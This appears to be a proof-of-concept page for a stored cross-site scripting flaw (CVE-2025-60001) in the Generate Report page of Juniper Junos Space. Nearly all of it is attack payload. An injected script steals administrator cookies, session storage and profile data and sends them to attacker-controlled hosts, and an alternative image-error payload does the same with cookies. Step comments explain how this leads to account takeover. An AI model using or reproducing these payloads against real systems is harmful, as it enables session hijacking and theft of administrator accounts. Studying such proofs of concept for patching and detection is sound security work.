CVE-2025-60001 Juniper Junos Space Generate Report页面存储型XSS漏洞

<!-- CVE-2025-60001: Juniper Junos Space Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the Generate Report page --> <!-- Step 1: Attacker injects malicious script via the Generate Report input field --> <!-- The following payload can be injected into vulnerable input fields such as report name or description --> <script> // Malicious JavaScript payload - steals admin session cookies/tokens var img = new Image(); img.src = "https://attacker-controlled-server.com/steal?cookie=" + document.cookie + "&session=" + JSON.stringify(sessionStorage); // Exfiltrate sensitive data via fetch API fetch('/api/user/profile', {credentials: 'include'}) .then(response => response.json()) .then(data => { // Send stolen data to attacker server new Image().src = "https://attacker-controlled-server.com/exfil?data=" + btoa(JSON.stringify(data)); }); </script> <!-- Alternative payload using event handlers for more stealthy execution --> <img src=x onerror="fetch('https://attacker-server.com/log?data='+document.cookie)"> <!-- Step 2: The injected script is stored on the server --> <!-- Step 3: When an admin visits the Generate Report page, the script executes in their browser context --> <!-- Step 4: Attacker's server receives the exfiltrated session data, enabling account takeover -->